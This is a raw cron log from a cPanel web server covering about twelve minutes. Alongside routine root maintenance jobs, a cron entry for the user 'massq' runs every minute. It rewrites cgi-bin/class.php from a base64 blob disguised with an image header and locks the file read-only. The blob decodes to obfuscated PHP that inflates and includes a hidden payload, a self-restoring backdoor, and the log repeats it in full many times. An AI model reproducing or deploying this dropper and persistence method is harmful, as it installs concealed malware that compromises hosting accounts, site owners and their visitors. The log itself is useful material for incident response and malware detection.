Sep  6 07:37:01 server CROND[32572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:37:01 server CROND[32573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:38:01 server CROND[607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:38:01 server CROND[608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:38:01 server CROND[609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:39:01 server CROND[1023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:39:01 server CROND[1022]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 07:39:01 server CROND[1024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:39:01 server CROND[1025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:40:01 server CROND[1515]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 07:40:01 server CROND[1516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:40:01 server CROND[1517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:40:01 server CROND[1520]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 07:40:01 server CROND[1524]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 07:40:01 server CROND[1521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:40:01 server CROND[1522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:40:01 server CROND[1523]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:41:01 server CROND[2398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:41:01 server CROND[2399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:41:01 server CROND[2400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:42:01 server CROND[2812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:42:01 server CROND[2813]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 07:42:01 server CROND[2814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:42:01 server CROND[2815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:43:01 server CROND[3294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:43:01 server CROND[3295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:43:01 server CROND[3296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:44:01 server CROND[3744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:44:01 server CROND[3745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:44:01 server CROND[3746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:45:01 server CROND[4131]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 07:45:01 server CROND[4135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:45:01 server CROND[4132]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 07:45:01 server CROND[4139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:45:01 server CROND[4138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:45:01 server CROND[4142]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 07:45:01 server CROND[4141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:46:01 server CROND[4990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:46:01 server CROND[4992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:46:01 server CROND[4991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:47:01 server CROND[5368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:47:01 server CROND[5369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:47:01 server CROND[5370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:48:01 server CROND[5754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:48:01 server CROND[5755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:48:01 server CROND[5756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:49:01 server CROND[6224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:49:01 server CROND[6226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
